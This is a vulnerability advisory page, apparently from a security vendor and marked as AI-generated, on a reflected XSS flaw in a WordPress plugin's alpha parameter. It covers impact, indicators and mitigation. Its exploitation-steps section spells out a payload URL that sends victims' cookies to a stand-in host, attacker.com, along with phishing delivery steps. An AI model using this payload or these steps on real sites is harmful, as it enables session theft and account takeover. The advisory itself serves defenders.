CVE-2026-0594
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-0594 is a Reflected Cross-Site Scripting (XSS) vulnerability in the List Site Contributors plugin for WordPress, affecting versions up to and including 1.1.8. The flaw exists in the alpha parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. It was published on January 14, 2026, and assigned a CVSS v3.1 base score of 6.1 (Medium) by Wordfence (Wordfence, EUVD).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is that the plugin fails to sanitize user-supplied input in the alpha GET/POST parameter before reflecting it in the HTML output of a page. An unauthenticated attacker can craft a malicious URL containing a JavaScript payload in the alpha parameter; when a logged-in user clicks the link, the script executes in their browser session within the context of the WordPress site. The vulnerable code path is visible in the plugin source at line 435 of list-site-contributors.php (WordPress Trac). A public proof-of-concept exploit is available on GitHub (PoC GitHub).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser within the scope of the affected WordPress site (scope: Changed). This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim (e.g., privilege escalation if the victim is an administrator), and defacement or redirection of site content. Confidentiality and integrity are both assessed as Low impact, and availability is not directly affected (Wordfence).

Exploitability

A public proof-of-concept exploit was published on GitHub on January 22, 2026 (PoC GitHub). The vulnerability requires no authentication and only low attack complexity, though it does require user interaction (victim must click a crafted link). The EPSS score is approximately 0.082%, indicating a relatively low but non-negligible probability of exploitation in the wild. Nuclei detection templates for this CVE have been added to the ProjectDiscovery nuclei-templates repository across multiple commits (Nuclei Templates). No CISA KEV listing or confirmed in-the-wild exploitation by named threat actors has been reported at this time.

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the List Site Contributors plugin version ≤ 1.1.8 using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/list-site-contributors).
  2. Identify vulnerable parameter: Locate a page or endpoint on the target site that invokes the plugin's contributor listing functionality and reflects the alpha parameter in the HTML response.
  3. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload in the alpha parameter, e.g., https://target-site.com/?page_id=X&alpha=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver the payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedded link.
  5. Achieve objective: When the victim clicks the link and the page loads, the injected script executes in their browser — enabling session cookie theft, credential capture, or unauthorized administrative actions on the WordPress site (PoC GitHub, Wordfence).

Indicators of compromise

  • Network: Outbound HTTP requests from the victim's browser to attacker-controlled domains immediately after loading a WordPress page with the List Site Contributors plugin; unusual referrer headers in web server logs pointing to external sites.
  • Logs: WordPress access logs showing GET/POST requests to plugin-related pages with URL-encoded script tags or JavaScript event handlers in the alpha parameter (e.g., alpha=%3Cscript%3E, alpha=<img+src=x+onerror=).
  • Browser/Session: Unexpected session invalidation or new admin accounts created shortly after a privileged user visited a suspicious link; browser developer tools showing unexpected outbound XHR/fetch requests.
  • File System: No direct file system artifacts expected for reflected XSS, but monitor for new or modified WordPress admin accounts or plugin/theme files if the XSS was used to escalate privileges.

Mitigation and workarounds

The primary remediation is to update the List Site Contributors plugin to a version beyond 1.1.8 that includes proper input sanitization and output escaping for the alpha parameter. Site administrators should check the WordPress plugin repository for a patched release and apply it immediately. As a temporary workaround, the plugin can be deactivated until a patch is available. Web Application Firewalls (WAFs) with XSS filtering rules — such as those provided by Wordfence — can help block exploitation attempts in the interim (Wordfence).

Community reactions

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for January 12–18, 2026 (Wordfence Blog). A technical write-up was published on dev.to covering the reflected XSS mechanics (dev.to). The vulnerability received limited but notable community attention, with social media posts on Bluesky and inclusion in automated CVE tracking feeds. ProjectDiscovery added detection templates to their nuclei-templates repository, reflecting community interest in automated scanning for this issue.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-92541HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-92540HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-86785MEDIUM5.3
  • woo-to-facebook-shop
NoNoSep 20, 2026
CVE-2026-92965LOW3.7
  • tiktok-for-business
NoYesSep 20, 2026
CVE-2026-92423LOW2.7
  • meow-gallery
NoYesSep 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management